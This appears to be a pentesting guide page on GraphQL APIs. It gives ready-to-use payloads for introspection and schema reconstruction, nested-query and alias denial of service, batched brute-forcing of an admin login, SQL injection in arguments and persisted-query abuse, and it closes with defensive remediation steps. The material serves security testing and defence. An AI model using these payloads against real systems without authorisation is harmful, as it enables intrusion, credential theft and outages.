API Security
🔥 Advanced
API4 API8

GraphQL Pentesting

GraphQL APIs offer flexibility but introduce unique attack vectors like introspection abuse, nested query DoS, and batching attacks.

Introspection & Enumeration

Introspection allows you to query the API for its schema.

Check Introspection

Send a query to check if introspection is enabled.

http
POST /graphql
Content-Type: application/json

{
  "query": "{ __schema { types { name } } }"
}
POST /graphql
Content-Type: application/json

{
  "query": "{ __schema { types { name } } }"
}

Get Full Schema

Use tools like gq or InQL to retrieve the full schema.

bash
gq https://api.target.com/graphql --introspect
gq https://api.target.com/graphql --introspect

Manual Enumeration

If you can't get the full schema, try listing types, queries, and mutations manually.

List all types:

graphql
{
  __schema {
    types {
      name
      kind
    }
  }
}
{
  __schema {
    types {
      name
      kind
    }
  }
}

List all queries:

graphql
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

List all mutations:

graphql
{
  __schema {
    mutationType {
      fields {
        name
        description
      }
    }
  }
}
{
  __schema {
    mutationType {
      fields {
        name
        description
      }
    }
  }
}

GraphQL Specific Attacks

Nested Query DoS

Send deeply nested queries to exhaust server resources (Circular Queries).

graphql
query {
  user(id: 1) {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                # ... repeat ...
              }
            }
          }
        }
      }
    }
  }
}
query {
  user(id: 1) {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                # ... repeat ...
              }
            }
          }
        }
      }
    }
  }
}

Batching Attacks

Send multiple queries in a single request to bypass rate limits or brute force credentials.

json
[
  { "query": "query { login(u: "admin", p: "123456") { token } }" },
  { "query": "query { login(u: "admin", p: "password") { token } }" },
  { "query": "query { login(u: "admin", p: "12345678") { token } }" }
]
[
  { "query": "query { login(u: "admin", p: "123456") { token } }" },
  { "query": "query { login(u: "admin", p: "password") { token } }" },
  { "query": "query { login(u: "admin", p: "12345678") { token } }" }
]

Alias Overloading

Request the same field multiple times with aliases to cause resource exhaustion.

graphql
query {
  user1: user(id: 1) { email }
  user2: user(id: 2) { email }
  user3: user(id: 3) { email }
}
query {
  user1: user(id: 1) { email }
  user2: user(id: 2) { email }
  user3: user(id: 3) { email }
}

Injection

SQL or NoSQL injection can occur within GraphQL arguments.

graphql
query {
  user(id: "1' OR 1=1--") {
    username
  }
}
query {
  user(id: "1' OR 1=1--") {
    username
  }
}

Clairvoyance & Field Suggestion

When introspection is disabled, GraphQL often still leaks schema information through field suggestions in error messages. The clairvoyance tool exploits this to reconstruct the schema.

Field Suggestion Attack

Intentionally misspell field names — the server often suggests the correct name:

graphql
# Send a query with a typo:
{ usr { id } }

# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!
# Send a query with a typo:
{ usr { id } }

# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!
bash
# Install clairvoyance
pip3 install clairvoyance

# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json

# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
  -H 'Authorization: Bearer TOKEN' \
  -o schema.json
# Install clairvoyance
pip3 install clairvoyance

# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json

# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
  -H 'Authorization: Bearer TOKEN' \
  -o schema.json

Persisted Query Abuse

Automatic Persisted Queries (APQ) cache queries by hash. If the server accepts arbitrary hashes and executes them, an attacker can register malicious queries that bypass allow-listing.

http
# Step 1: Send a query hash without the query body
POST /graphql
{
  "extensions": {
    "persistedQuery": {
      "version": 1,
      "sha256Hash": "ATTACKER_CONTROLLED_HASH"
    }
  }
}

# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious query
# Step 1: Send a query hash without the query body
POST /graphql
{
  "extensions": {
    "persistedQuery": {
      "version": 1,
      "sha256Hash": "ATTACKER_CONTROLLED_HASH"
    }
  }
}

# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious query

GraphQL Security Audit Tool

Use graphql-cop for a quick automated audit: it checks introspection, batching, field suggestions, persisted queries, and DoS vectors in one command: graphql-cop -t https://api.target.com/graphql

Remediation

Defense Strategies

  • Disable Introspection in production environments.
  • Implement Query Depth Limiting (e.g., max depth 5).
  • Implement Query Complexity Analysis (cost-based limiting).
  • Disable or limit batching functionality.
  • Validate all arguments and inputs (treat them as untrusted).